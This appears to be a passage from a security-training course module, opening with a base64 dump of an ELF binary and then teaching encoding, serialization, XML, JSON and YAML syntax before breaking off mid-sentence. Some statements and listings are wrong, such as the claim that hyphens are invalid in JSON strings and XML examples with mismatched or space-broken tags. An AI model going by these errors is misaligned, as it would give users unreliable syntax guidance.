5XRkBAAAAAzfAQAAAAAADN8BAAAAAAAM3wEAAAAAAEQJAAAAAAAARAkAAAAAAAAEAAAAAAAAAFHl
dGQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0
ZAQAAABQIwIAAAAAAFAzAgAAAAAAUDMCAAAAAACwDAAAAAAAALAMAAAAAAAAAQAAAAAAAAAvbGli
NjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABQAAAADAAAAR05VAG49pvC8NrY5i4ZRu8LgiDGi
GpDaBAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAARAAAAbgAAAAIAAAAHAAAApqFIBBIB
rjYg2BESIAAAkG4AAAAAAAAAbwAAAHAAAAByAAAAcwAAAHQAAAB2AAAAdwAAAAAAAAB5AAAAewAA
AHwAAAAAAAAAfQAAAH4AAAB/AAAAvVB2njPE9xKG8JZ8l6CJl88sY3KTmDyttvoB60+O/X858osc
TD6lC+ViQfUCPn9bs6L3En9qmnXRZc5tjcfgYD2tOQ0pHYwcAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
kali@kali:~$ echo -n f0VMRgIB | base64 -d
ELF
Listing 2 - base64 example
If we want to have serialized hex or base64, we might pipe the output
to the tr[534] program to remove line breaks and have the
output all be a single stream of bytes without interruption. Removing
newlines is perhaps the most generic "serialization", literally
meaning one byte after the next in a continuous stream. We will use
the -d option for tr to delete, passing '\n' to delete
newline characters.
kali@kali:~$ xxd -p /bin/bash | tr -d '\n'
7f454c4602010100000000000000000003003e00010000007006030000000000400000000000000098be12000000000000000000400038000d0040001e001d000600000004000000400000000000000040000000000000004000000000000000d802000000000000d802000000000000080000000000000003000000040000001803000000000000180300000000000018030000000000001c000000000000001c0000000000000001000000000000000100000004000000000000000000000000000000000000000000000000000000f0de020000000000f0de0200000000000010000000000000010000000500000000e002000000000000e0
...
Listing 3 - serialized hex example
The base64 and xxd programs know to ignore those newlines, so the data
will be correctly re-assembled during decoding even if extra newlines
are added to the encoded form. However, there are some situations
where we want to have serialized encoded data with no added newline
characters and so we serialize the data into a single line.
Encoding and serializing is great for moving data around and viewing
the data on computer displays and paper, but they don't solve all
of our problems. There is a desire for even more standardization of
data. Data serialization languages provide the structure and standards
around the data so that different applications can program, load, and
export the data in ways that other programs can utilize the same data
structures. Data serialization languages reduce the need to provide
additional instruction or requirements regarding the data structures
themselves. We call this property that improves use between different
systems interoperability.
Data serialization languages do much more than remove line breaks.
Instead, they standardize the structure of the data by providing rules
for encoding, labeling, and mapping of the data. The data serialized
into JSON, is formatted in a valid JSON structure. This type of
serialization can also allow the data to be streamed, stored, and
otherwise shared between different computer systems and applications
while maintaining generic properties in the data structures.
Imagine if we didn't have data serialization languages, and each
programmer made their own data formats. Sure we could use serialized
hex to send it between different systems easily, but we would also
have to provide instructions to each other programmer that needed to
digest the data after being deserialized, explaining what the format
is and how to load it into their programs. The result is endless
different formats and much more time required to integrate different
applications together. Data serialization languages include data
format standards that help reduce the amount of application-specific
structures. Data serialization languages don't eliminate the need for
documentation or explanation entirely, but allow the documentation
to focus on the application features rather than the data structures
format specifications.
Now that we have a better understanding of encoding and why
serialization languages are important, let's compare three specific
types: XML, JSON, and YAML.
A similarity of all three serialization languages is the fact that they
are all open formats, which means that they are non-proprietary, and
can be freely used by anyone.
Another small similarity is the common file extensions, which are
the same as the acronym. An XML file uses .xml, while a JSON
file uses .json, and a YAML file uses .yaml (or .yml).
File extensions are often optional in Unix-based systems, although
typically a good idea to use anyway.
Another important fact is that YAML is a superset of JSON, meaning
all JSON is considered valid YAML. JSON is a fairly linear format,
while YAML is complex and can include many different types of data,
including JSON.
In terms of differences, there are a few factors to mention.
First is the human readable formatting. One of the main reasons
they were created was to represent the data or information in a
consistent readable format. Generally, YAML files are considered a
more human-readable format when compared to JSON or XML, but this may
not always be the case (some people prefer reading JSON to YAML for
example). And while YAML may seem simple, the reality of YAML and XML
is that they are complex. We won't be covering all of the complexities
of YAML and XML in this module, but let's review an example of each to
get a better understanding.
We'll start with XML.
<?xml version="1.0" encoding="UTF-8"?>
<CarsInStock>
<Car id="Car1">
<model>Ford</model>
<make>Focus</make>
<color>Blue</color>
</Car>
<Car id="Car2">
<model>Ford</model>
<make>F-150</make>
<color>Black</color>
</Car>
</CarsInStock>
Listing 4 - XML Example
In general, the data is presented in a way that is difficult to
identify the element text or values. Let's compare that to a JSON
example.
{
"CarsInStock": {
"Car": [
{
"id":"Car1",
"model":"Ford",
"make":"Focus",
"color":"Blue"
},
{
"id":"Car2",
"model":"Ford",
"make":"F-150",
"color":"Black"
}
]
}
}
Listing 5 - JSON Example
Without all the tags in XML, JSON is a bit easier to quickly read
through and identify the element text. Lastly, we'll review a YAML
example.
# Cars In Stock
- Car 1:
model: Ford
make: Focus
color: Blue
- Car 2:
model: Ford
make: F-150
color: Black
Listing 6 - YAML Example
While we can indent XML and JSON, most YAML requires some
indentation. The number of spaces used in YAML indentation isn't
a fixed set of spaces in the YAML specification, but it does have
to exist for certain YAML data styles. We will expand more on the
indentation rules within YAML in the YAML section of this module.
The application use of the data will typically determine which
serialization languages are used. If we have a web application using
JavaScript, it might make the most sense to use JSON. In comparison,
if we need to program for SAML 2.0,[535] XML is used.
There are other options out there and Wikipedia has a comparison
table outlining data serialization formats.[536]
XML, JSON, and YAML are some of the most well-known ones, but there
may be a situation where it makes sense to use a completely different
format.
In this Learning Unit, we've learned a little about encoding,
serialization, and serialization languages, and why they are important
in modern computing. We also compared XML, JSON, and YAML.
In the next three Learning Units, we will get a stronger understanding
of the syntax for each of the three formats. We will start with XML.
XML Basics
This Learning Unit covers the following Learning Objectives:
- Understand XML syntax
In this Learning Unit, we will learn more about Extensible Markup
Language (XML)[537] including basic syntax.
XML was created from Standard Generalized Markup Language
(SGML)[538] in 1996, initialally published in 1997, with larger
adoption starting in 1998. Most of the structures from XML come
directly from SGML. HyperText Markup Language (HTML)[539] was
developed before XML during the same time as SGML. A simplified way to
think about SGML is that it is more vague of a standard than both HTML
and XML were created from.
HTML is more commonly used for display in web browsers, while XML
is more commonly used in system to system communication but can
also be used for interfaces and web pages. Cascading Style Sheets
(CSS)[540] transform HTML, while Extensible Stylesheet Language
Transformations (XSLT)[541] is used to make transformations
on XML. There are also many more ways that XML can be transformed and
integrated, but we will not be covering those specifications in this
module. Now that we have a better understanding of how XML can be
used, let's learn the syntax.
XML allows a subset of Unicode with strict rules. As we will
explore later on in the module, data that doesn't fit into the
data serialization format may need to be additionally encoded
to hex or base64 before being inserted. The only Unicode control
characters[542] allowed in XML 1.0 data are
carriage return (+000D), end of line (U+000A), and tab (U+0009).
In this section, we will review the syntax associated with XML files.
As we move along, we will create an XML file.
Although not always required, an XML file starts with a statement
called a prolog.[543] The prolog is enclosed using
processing instruction (PI)[544] symbols,
represented by the less-than sign, question marks, and greater-than
signs (<? ?>). This provides instructions to the application. Within
the PIs, we will generally find the target and additional optional
content. In this case, the target is "xml", which is also referred
to as the XML Declaration.[545] The usual content
within the PI specifies the version and character encoding.
There are multiple versions of the XML specification. We will use
XML 1.0 in our examples for this module, but there is also the XML
1.1 specification that includes different encoding rules and more. We
won't be doing a breakdown of XML 1.0 vs XML 1.1 in this module, but
for the remainder of the module, we will use version 1.0. The Unicode
encoding format we will use in the example is UTF-8.
Let's create an XML file by starting the with prolog statement:
<?xml version="1.0" encoding="UTF-8"?>
Listing 7 - XML Prolog
As expected, the prolog statement begins with an opening PI symbol of
"<?", followed by the XML declaration. Then, it specifies the version
of 1.0 and encoding format of UTF-8 as a name-value pair, before
closing the statement using the PI symbol of "?>".
Following the prolog statement are structures called elements, which
are organized in a structure. The top of the structure is referred
to as the root element, which is followed by child elements. At a
minimum, an XML file has to include one root element. All elements are
enclosed within tags and are case-sensitive.
Let's take the prolog statement from above and add a root element.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <CarsInStock>
3
4 </CarsInStock>
Listing 8 - Add a root element
Line 2 has a root element start tag called CarsInStock, while line
4 has a root element end tag. The difference is the forward slash
before the name of the tag. Except for of the prolog statement (line
1), all elements must have start and end tags.
Although not mandatory, elements can contain attributes in a
name-value pair, text, other elements (nested), or any of them
combined.
Let's add some nested elements to our XML file.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <CarsInStock>
3 <Car id="Car1">
4 </Car>
5 <Car id="Car2">
6 </Car>
7 </CarsInStock>
Listing 9 - Add nested elements
On lines 3 through 6, we've added two elements named Car
that are nested within the root elements of CarsInStock. Both
Car elements have an attribute named id with their own unique
values. Another concept to point out is something called a first-in,
last-out aspect associated with start and end tags. The Car
elements were created last within the CarsInStock elements.
Therefore, their end tags must be present first. Whichever element was
created first, that element will have an end tag last.
Let's compare the previous example with the following incorrect
example:
1 <CarsInStock>
2 <Car id="Car1">
3 </CarsInStock>
4 </Car>
Listing 10 - Incorrect nested elements
The CarsInStock element start tag (line 1) exists before the Car
element start tag (line 2). Above, the CarsInStock element end tag
(line 3) appears before the Car element end tag (line 4). This will
cause a syntax error, because the first in, last out concept is not
followed.
Here is the correct way to order the above example:
1 <CarsInStock>
2 <Car id="Car1">
3 </Car>
4 </CarsInStock>
Listing 11 - Correct nested elements
The Car element end tag (line 3) is before the CarsInStock element
end tag (line 4), because the Car element start tag (line 2) is
after the CarsInStock start tag (line 1). Therefore, the first
element in, last element out concept is correctly followed.
XML element names have certain standards or naming
conventions[546] that must be adhered to. For
example, they must begin with a letter or underscore, and cannot start
with the keyword, "xml". XML element names are case-sensitive, and
must not contain spaces. Numbers and certain special characters, like
hyphens and periods, can be used as part of the name.
Another tip to keep in mind is what other software XML will
communicate with, if any. Depending on the situation, it may be best
to avoid using special characters. As an example, some programming
languages use a period (.) to refer to a property or component.
Although periods are technically allowed, there may be situations
where the functionality may break due to how some programming
languages treat periods.
Let's review a few examples of correct naming conventions.
<car>
<Car>
<car1>
<myCar>
<my.car>
<my_car>
<my-first-car1>
<myCar_withXML>
Listing 12 - Allowed naming convention examples
The last element name is allowed because it does not begin with the
letters "xml".
Now let's compare the allowed naming convention examples with a few
examples that are not allowed by XML, which will be highlighted in
red. We will also include comments,[547] highlighted in
green, next to the element that explains which rule it breaks. As an
aside, syntax for comments is: <!-- My Comment -->.
<xml > <!-- begins with xml -->
<XML _Car> <!-- begins with xml -->
<C@ r> <!-- contains special character @ -->
<my Car> <!-- contains a space -->
<1 stCar> <!-- begins with a number -->
<- myCar-> <!-- although hyphens are allowed, it cannot begin with a hyphen -->
<_my.1stXML: Car> <!-- technically this is allowed. However, it is highly advised to avoid using colons as a name, because colons are used for namespaces, which we will cover shortly. -->
Listing 13 - Incorrect naming convention examples
As mentioned in the last comment inside Listing
13, colons (:) are allowed. However, colons are
reserved for the use of namespaces, which exist as part of the element
tag. We will cover namespaces after we have a more in-depth discussion
on attributes.
We have already encountered XML attributes.[548] Let's
go back to our CarsInStock example and highlight attributes a little
more.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <CarsInStock>
3 <Car id="Car1" >
4 </Car>
5 <Car id="Car2" >
6 </Car>
7 </CarsInStock>
Listing 14 - Highlight attributes
Listing 14 demonstrates examples of
attributes. Attributes are contained inside an element as a name-value
pair. The value has to be in single quotes or double quotes and is
assigned to the name by an equal sign (=).
Let's review the following example.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <CarsInStock>
3 <Car id="Car1">
4 <model>Ford</model>
5 </Car>
6 <Car id="Car2" model="Toyota" >
7 </Car>
8 </CarsInStock>
Listing 15 - Highlight attributes comparison
Line 4 has the model as an element, while line 6 has it as an
attribute. There aren't any universal agreed-upon standards for the
right or wrong way, but some applications may have certain rules to
follow.
For cases where an application standard does not exist, some
prefer to approach this situation by inspecting the data from a
broad perspective. As we group the data into categories, we can
identify information that would more likely fit a definition of
metadata,[549] and create that information as attributes.
In other words, data that uniquely identifies other piece(s) of data
can be attributes, while more generalized data can be elements. For
example, there may be a hundred models labeled as "Ford" or "Toyota"
or other models.
Nonetheless, there will only be one car labeled with the id of "Car1".
This can be useful in grouping data in a meaningful way, while also
maintaining some level of uniqueness. This would further depend on
the situation, and is therefore why the idea behind using element vs
attribute is situation specific.
The final aspect we will demonstrate is XML
namespace,[550] which is used to help differentiate
between identical element names. Namespaces are beneficial when
combining multiple XML files into one.
Let's review the following example, which displays two separate XML
structures.
<?xml version="1.0" encoding="UTF-8"?>
<CarsInStock>
<Car id="Car1">
<model>Ford</model>
<color>blue</color>
</Car>
</CarsInStock>
<EquipmentInStock>
<Tires sn="001">
<size>P225/70R1691S</Size>
</Tires>
<Paint sn="002">
<color>blue</color>
</Paint>
</EquipmentInStock>
Listing 16 - Two separate XML data structures
The color element exists twice. One refers to the color of the car,
while the other refers to the color of the paint that is available
within the EquipmentInStock section. This can create ambiguity.
One way to address this is to rename the element(s). For something
as simple as the above data structure, that is an easy change. What
if we had thousands of elements that had conflicting names? We could
probably automate part of that, but there is still some manual labor
involved. An easier solution is to implement namespaces within both
XML files.
Let's expand on the above example, but this time we will implement
namespaces.
<?xml version="1.0" encoding="UTF-8"?>
<Inventory>
<veh: CarsInStock xmlns:veh="http://schema.local/veh.xml" >
<veh: Car id="Car1">
<veh: model>Ford</veh: model>
<veh: color>blue</veh: color>
</veh: Car>
</veh: CarsInStock>
<eq: EquipmentInStock xmlns:eq="http://schema.local/eq.xml" >
<eq: Tires sn="001">
<eq: size>P225/70R1691S</eq: Size>
</eq: Tires>
<eq: Paint sn="002">
<eq: color>blue</eq: color>
</eq: Paint>
</eq: EquipmentInStock>
</Inventory>
Listing 17 - Combining two XML data structures with namespaces
In the example above, we added a few things. First, we added a root
element named Inventory. We also added two xlmns attributes.
An xmlns attribute is an XML keyword that declares a namespace.
Highlighted in red and green, we declared two namespaces: veh (short
for vehicle), and eq (short for equipment). The values for the
namespaces are Uniform Resource Identifiers (URIs),[551] which
in this case point to the XML resource. These resource pointers may
or may not be used; many systems use them for documentation for that
XML structure. URIs are used in more cases beyond XML resources, like
in HTML links, UI buttons, and web pages. Lastly, highlighted in red,
we applied that same namespace name to all the elements associated
with that namespace. This includes the start and end tags of the
associated data structure.
XML namespaces are not the same as Linux kernel namespaces.
The concept of a namespace means to logically group elements with a
unique identifier. The concept of a namespace is used with different
technologies.
By implementing namespaces, we can avoid element name conflicts when
we combine two or more XML structures.
Let's practice what we've read by doing a few exercise before moving
to learn more about JSON.
JSON Basics
This Learning Unit covers the following Learning Objectives:
- Understand JSON syntax
In this Learning Unit, we will learn more about JavaScript Object
Notation (JSON)[552] to include basic syntax.
JSON comes from (and is sometimes used with) JavaScript
(JS).[553] However, many other programming languages have
libraries[554] that allow JSON implementation. Similar
to XML, JSON is standardized[555] by the Internet
Engineering Task Force (IETF).[556] JSON does have a binary
version called BSON[557] or Binary JSON, which expands JSON's
utility with software like MongoDB.[558] However, it is
important to note that binary data can be put into any XML and JSON
formats via encoding that binary data to hex first. The importance
behind BSON isn't pure capability, but also speed and performance.
Although JSON is from JavaScript, we are not going to cover all
JavaScript syntax. We will only cover some JavaScript syntax specific
to JSON.
Let's check out an example.
{"CarsInStock":
{"Car": [
{"id":"Car1", "model":"Ford", "make":"Focus", "color":"Blue"},
{"id":"Car2", "model":"Ford", "make":"F-150", "color":"Black"}
]}
}
Listing 18 - JSON example
JSON items exist in name-value pairs, where the key is a string and
the value is any JSON data type. Curly brackets ({}) signify JSON
objects, while square brackets ([]) signify arrays, and double
quotes ("") signify strings.
In the example above, we have a CarsInStock object that contains
another JSON object as the value. The Car JSON object contains an
array[559] with two JSON objects. Each object within the
array contains four key-value pairs. In this instance, the values are
strings. Those strings could be serialized hex or base64, which could
contain any data type or structure. Other JSON data types that we
could use are numbers and Booleans.
Here is an example of JSON with serialized base64 data inside it. We
will start by manually generating a base64 string. In the example,
we have a file called privatekeyP384.pem, which is a private
key generated from openssl in PEM-encoded[560] format. We
will then use an openssl command to extract the public key from
the private key and print it out to the terminal, redirecting STDERR
output to /dev/null as we do not want to include that in our
encoded data. Then we will extract the same public key but this time,
pipe the public key output to base64 to encode it and then to
tr to remove the line breaks to serialize it for our JSON string.
kali@kali:~$ openssl ecparam -name secp384r1 -genkey -noout -out privatekeyP384.pem
kali@kali:~$ openssl ec -in privatekeyP384.pem -pubout 2>/dev/null
-----BEGIN PUBLIC KEY-----
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE+beLyPkbrMiPSNhk3yfcsEQdgZHa7c60
+r7W59103Fah8QeSRXI2Ju6y3b+I9SNX/2aoQF95E7w9XkYogzsd8qtVxY08iSzM
4RWos0b2f2YI+fv5BxTtuhKbt3OEuNMQ
-----END PUBLIC KEY-----
kali@kali:~$ openssl ec -in privatekeyP384.pem -pubout 2>/dev/null | base64 | tr -d '\n'
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUhZd0VBWUhLb1pJemowQ0FRWUZLNEVFQUNJRFlnQUUrYmVMeVBrYnJNaVBTTmhrM3lmY3NFUWRnWkhhN2M2MAorcjdXNTkxMDNGYWg4UWVTUlhJMkp1NnkzYitJOVNOWC8yYW9RRjk1RTd3OVhrWW9nenNkOHF0VnhZMDhpU3pNCjRSV29zMGIyZjJZSStmdjVCeFR0dWhLYnQzT0V1Tk1RCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=
Listing 19 - base64 encoding a PEM for a JSON string
Notice how openssl outputs base64 encoded data as well, and then
we are taking the special PEM encoding and encoding it again as
serialized base64. Next we can further encode it in JSON.
{"example-public-key-b64-p384-pem":"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUhZd0VBWUhLb1pJemowQ0FRWUZLNEVFQUNJRFlnQUUrYmVMeVBrYnJNaVBTTmhrM3lmY3NFUWRnWkhhN2M2MAorcjdXNTkxMDNGYWg4UWVTUlhJMkp1NnkzYitJOVNOWC8yYW9RRjk1RTd3OVhrWW9nenNkOHF0VnhZMDhpU3pNCjRSV29zMGIyZjJZSStmdjVCeFR0dWhLYnQzT0V1Tk1RCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo="}
Listing 20 - base64 in JSON
With the example public key now in JSON, we might be able to store it,
and know what the data is, be able to load it and use it in multiple
systems. While the PEM format is also a serialization format
that many different applications can use directly, the PEM format is
not valid JSON.
We needed to do serialized base64 (or hex) to fit that data into
the JSON format in this case. If we tried to insert PEM directly
into JSON, we have invalid JSON. To avoid that problem, we used the
serialized base64 encoding of the PEM-encoded cryptographic component.
{
"example-public-key": "-----BEGIN PUBLIC KEY-----
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE+beLyPkbrMiPSNhk3yfcsEQdgZHa7c60
+r7W59103Fah8QeSRXI2Ju6y3b+I9SNX/2aoQF95E7w9XkYogzsd8qtVxY08iSzM
4RWos0b2f2YI+fv5BxTtuhKbt3OEuNMQ
-----END PUBLIC KEY-----
"
}
Listing 21 - invalid JSON example
JSON has a multiple specifications, including JSON-LD and JSON
Pointer, but we are discussing the JSON spec for JavaScript Object
Notation. In this specification, JSON must use either UTF-32,
UTF-16, or UTF-8 characters. But not all Unicode characters will work
correctly in JSON unless they are either escaped or further encoded
(to hex or web-safe base64).
Ideally, the strings in JSON only contain alpha-numeric characters,
although many other characters can work or be escaped with an escape
sequence. The different types of escape sequences are demonstrated
here.
\\ back slash escape (reverse solidus escape)
\" doublequote escape
\/ forward slash escape (solidus escape)
\b backspace escape
\f formfeed escape
\n newline escape
\r return escape
\t tab escape
Listing 22 - JSON escape sequences
The JSON key names may use the hyphen (-) and the underscore (_),
as well as spaces. The hyphen and other special characters in example
data are invalid in JSON strings. This is why we encode such data to
serialized web-safe base64 or hex first.
We are pointing out this technique of putting data that doesn't
otherwise fit in the serialization language format inside serialized
hex or base64, because the concept is used heavily in the industry,
and often used specifically with sensitive and interesting data.
Many instances of data are well within the alpha-numeric range and
work well as normal text. Data that is outside of the alpha-numeric
data we like for strings, but may want to serialize, is commonly
binary blobs (raw data). While we may not be able to "read" the blobs
directly because there are no inherent characters to represent them,
we can encode the blob into hex or base64, and decode it just as
easily.
Even though we have to meet the requirements while the JSON is
being treated as JSON, that doesn't mean the data has to always
stay as JSON. The way it is stored on disk can be separate from the
serialization language format, typically as long as the serialized
form is able to be restored before transport or loading. Common
examples are to compress then encrypt. To explain this section, we
will have a JSON document gzipped[561]. Any file or data can go through
GNU zip compression, with the goal of making the data smaller.
Using the public key example JSON, we can store that in a file called
example-pub.json, then use the gzip program to compress it. We
will pass the -9 option to gzip to use maximum gzip algorithm
compression. We will use du with the -b option to measure the
bytes in the file before and after the compression is applied.
kali@kali:~$ du -b example-pub.json
327
kali@kali:~$ cat example-pub.json
{"example-public-key-b64-p384-pem":"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUhZd0VBWUhLb1pJemowQ0FRWUZLNEVFQUNJRFlnQUUrYmVMeVBrYnJNaVBTTmhrM3lmY3NFUWRnWkhhN2M2MAorcjdXNTkxMDNGYWg4UWVTUlhJMkp1NnkzYitJOVNOWC8yYW9RRjk1RTd3OVhrWW9nenNkOHF0VnhZMDhpU3pNCjRSV29zMGIyZjJZSStmdjVCeFR0dWhLYnQzT0V1Tk1RCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo="}
kali@kali:~$ ls
example-pub.json
kali@kali:~$ gzip -9 example-pub.json
kali@kali:~$ ls
example-pub.json.gz
kali@kali:~$ du -b example-pub.json.gz
308
kali@kali:~$ cat example-pub.json.gz
...(data can't be displayed properly)...
kali@kali:~$ gunzip example-pub.json.gz
Listing 23 - compressed JSON example
This cryptographic component went though a number of transformations
in these examples. Originally, openssl output the data as PEM encoded.
Then we encoded the PEM to serialized base64, then inserted that
serialized base64 into JSON, then finally compressed the JSON file.
This is an example of how data might be put behind layers of encoding
and serialization, and how transformations might be applied to data.
It may seem strange to have so many layers, but the reality of modern
applications is that binary data does commonly go through layers
of encoding like our example. We don't need to worry too much about
understanding PEM and the public key for this module, but we do
want to start practicing decoding, decompressing, decrypting, and
deserializing data.
In addition to manipulating JSON files, we can also manipulate JSON
within the web browser using JavaScript. Next we will use a web
browser console to explore JSON further. To follow along, we can open
a web browser on any website, hit the F12 key, select Console, and
enter our JavaScript there.
We can use JSON.parse() to import JSON into JavaScript and assign it
to a variable named myCar.
var myCar = JSON.parse('{"id":"Car1", "model":"Ford", "make":"Focus", "color":"Blue"}');
Listing 24 - JSON.parse() function example
Now we can display the data or manipulate it further. Let's use
console.log() to output JSON data.
console.log(myCar);
{
id: "Car1",
model: "Ford",
make: "Focus",
color: "Blue"
}
Listing 25 - Use console.log() function
To reverse the process, we use the JSON.stringify() function. Let's do
that, then use console.log() to output the the data.
var myCarStringify = JSON.stringify(myCar);
console.log(myCarStringify);
{"id":"Car1","model":"Ford","make":"Focus","color":"Blue"}
Listing 26 - Use console.log() function to output myCarStringify
Now that we have a better understanding of interacting with JSON,
let's practice the concepts with the following exercises.
YAML Basics
This Learning Unit covers the following Learning Objectives:
- Understand basic YAML syntax
- Create YAML configuration files
In this Learning Unit, we will learn more about YAML Ain't Markup
Language (YAML)[562] to include basic syntax.
YAML was created during a time when many other markup languages
were released. The acronym initially stood for Yet Another Markup
Language. However, its purpose shifted from a document markup
language to become more data-oriented, making it a flexible data
serialization language.
Eventually, changing its name into a recursive
acronym,[563] "YAML Ain't Markup Language", meaning
the acronym refers to itself. Although it can be used in place of data
serialization languages such as JSON in some cases, YAML is popularly
used as configuration files for configuration management tools. For
example, Red Hat's Ansible Playbooks[564] are created using
YAML files, which are used to run tasks on multiple computer systems.
YAML allows all printable Unicode characters within it, including
control characters (excluding the tab character). YAML also allows the
surrogate character block.[565]
YAML[566]^,[567] is complex, especially when it is
applied to other applications that require additional rules. In this
section, we will get a very basic understanding of the syntax.
One of the most important syntax rules to remember is that, unlike
XML and JSON, YAML has strict whitespace indentation rules in some
of the specification. Proper parsing of common YAML block structures
will not occur if spaces are not implemented correctly. Although YAML
documentation defines usage of space, it does not dictate a standard
number of spaces to use. In other words, we can decide the number of
spaces ourselves to some degree. Generally we will want to use two or
four spaces. For this module, we will use two spaces per indentation.
Although not always a requirement, YAML documents begin with three
hyphens (---) and end with three periods (...). The beginning and
ending sequences are most commonly used when YAML is processed as
a stream of multiple YAML files or when YAML files are concatenated
together. We can consider it a best practice to include them.
---
...
Listing 27 - Beginning and ending of YAML document
Comments are represented by a pound sign (#).
---
# My comment
...
Listing 28 - YAML comment
There are many types of characters and data structures allowed in YAML
(many more than XML and JSON allow). We can use a single key-value
pair by itself or if we want to, we can also include multiple complex
data structures.
Let's review an example of a single key-value pair with a comment.
---
# Cars In Stock
key: value
...
Listing 29 - YAML key-value pair example
YAML has many different data types and styles available to it. In
YAML we have nodes, and each node can have a different node style.
There are two primary types of node styles: block and flow. The
overly simplified explanation of the difference is that block style
uses the spaces indentation as delimiters while flow styles use
explicit character delimiters.
In our example YAML, the node is Cars In Stock, and the node style
is block style, as the indentation is used to delimit the values.
---
Cars In Stock:
Car 1:
model: Ford
type: domestic
Car 2:
model: Ford
type: domestic
Car 3:
model: Toyota
type: foreign
Car 4:
model: Toyota
type: foreign
...
Listing 30 - YAML block style
In the example above, we have one YAML node containing nodes, each
containing two key-value pairs.
The canonical YAML representation of the same data is much more
verbose, with labels for each aspect. Rarely will we write out
canonical YAML manually, but it is good to be aware of.
---
!!map {
? !!str "Cars In Stock"
: !!map {
? !!str "Car 1"
: !!map {
? !!str "model"
: !!str "Ford",
? !!str "type"
: !!str "domestic",
},
? !!str "Car 2"
: !!map {
? !!str "model"
: !!str "Ford",
? !!str "type"
: !!str "domestic",
},
? !!str "Car 3"
: !!map {
? !!str "model"
: !!str "Toyota",
? !!str "type"
: !!str "foreign",
},
? !!str "Car 4"
: !!map {
? !!str "model"
: !!str "Toyota",
? !!str "type"
: !!str "foreign",
},
},
}
Listing 31 - YAML canonical example
Next we will change the data slightly to demonstrate how YAML can
include different formats within different YAML nodes.
---
Cars In Stock:
Car 1:
- model: Ford
- type: domestic
Car 2:
- "model Ford"
- "type domestic"
Car 3:
model: Toyota
type: foreign
Car 4:
model: Toyota
type: foreign
...
Listing 32 - YAML style examples
With the latest variation of the data, Car 1 uses the hyphen block
style delimiter. We have significantly changed the data in Car 2 to
also use hyphen block style delimiters, but also using strings instead
of key-value pairs.
Let's break down the indication characters in YAML a little further.
| Character | YAML use |
|---|---|
| hyphen | block sequence |
| question mark | mapping key |
| colon | mapping value |
| comma | flow collection entry |
| square bracket | flow sequence |
| curly braces | flow mapping |
| pound sign | comment |
| ampersand | node anchor |
| asterix | alias node |
| exclamation mark | node tag |
| vertical bar | literal block scalar |
| greater than sign | folded block scalar |
| single quotes | flow scalars |
| double quotes | flow scalars |
| percent sign | directive |
| at-sign | reserved for future |
| back-tick | reserved for future |
Table 3 - YAML indicators
The flow indicators might seem familiar as JSON uses them. We can
consider flow style of YAML to be an extension of JSON. All JSON can
be used in YAML but not all YAML is valid JSON.
Now that we have a better understanding of the basic YAML syntax,
let's inspect a few examples of how YAML can be used.
Now that we have a good understanding of the structure of YAML,
let's review a generic example. It's important to verify syntax
and while we can manually validate a file for proper syntax, an
automated method is much quicker. We can use a validator for many data
serialization languages, but our focus is primarily on validating YAML
files. Parsing[568] can have different meanings, but for
this purpose, it refers to analyzing code to ensure certain syntactic
rules (proper spacing, for example) are followed. If we have syntax
errors, validating can help identify them quicker.
Let's walk through an example. To follow along, it is best to
use the in-browser Kali. We are able to perform the following
steps using a local machine, but it may require additional
steps to set up the environment (primarily, installing PyYAML
[569]^,[570]).
Let's imagine we are responsible for hardware inventory, which
includes maintaining a YAML file with equipment information. This is a
requirement because the software consumers use to view and query what
we have in stock requires us to use a YAML format. For this example,
there are no additional application YAML rules. Let's organize the
following information so that it is valid YAML.
| Count | Item descriptions |
|---|---|
| 4 | Dell monitors (24in, 24in, 27in, 32in); no 40in monitors |
| 1 | HP monitor (24in) |
| 3 | Logitech keyboards (2 wired, 1 wireless) |
| 10 | USB to HDMI adapter cables (five 1 meter, five 2 meters) |
| 6 | DisplayPort to HDMI adapter cables (four 1 meter, two 2 meters) |
| 1 | HP printer (color with scanning) |
| 0 | desktops |
Table 4 - example inventory data
One way to organize this is by equipment type. This method may
make sense for employees who need specific equipment, such as a
monitor or keyboard. Some companies may have business contracts with
manufacturers, like Dell, or business requirements, such as monthly
inventory and lease date reports, so we may want to organize items
by brand first, then equipment type. For a small business with even
less equipment, our concern might be to organize items by a unique
identifier, such as a serial number. In that case, we can have the
unique ID for each YAML node, followed by the rest of the information
for the equipment.
As mentioned previously, there are many ways to organize raw data.
Various factors need to be taken into consideration, and we should
be open to change in case our first solution doesn't quite fit the
problem.
Let's review one method of organizing the inventory list in this
example.
---
# Items in stock
monitors:
- brand: Dell
size:
24: 2
27: 1
32: 1
40: 0
- brand: HP
size:
24: 1
keyboards:
- brand: Logitech
type:
wired: 2
wireless: 1
cables:
- type:
- USB_to_HDMI:
- length:
1m: 5
2m: 5
- DisplayPort_to_HDMI:
- length:
1m: 4
2m: 2
printers:
- serialNum123:
- HP
- color
- scanning
desktops:
...
Listing 33 - Example yaml given our inventory information
Let's take the YAML code from Listing 33 and
place it in a file called inventory.yaml.
Next, we will use the PyYAML Python module to create a validation
script that will parse YAML files and validate them.
In the same directory, we'll create a file called validation.py.
kali@kali:~$ pwd
/home/kali/Desktop
kali@kali:~$ ls
inventory.yaml validation.py
Listing 34 - Two files located in the same directory
In validation.py, we'll use the following code:
#!/usr/bin/env python
import yaml
with open("inventory.yaml", "r") as f:
yaml.safe_load(f)
Listing 35 - Displaying contents of validation.py
On the first line, we import yaml. Then, using open, we read
(r ) inventory.yaml and use the contents as the argument for
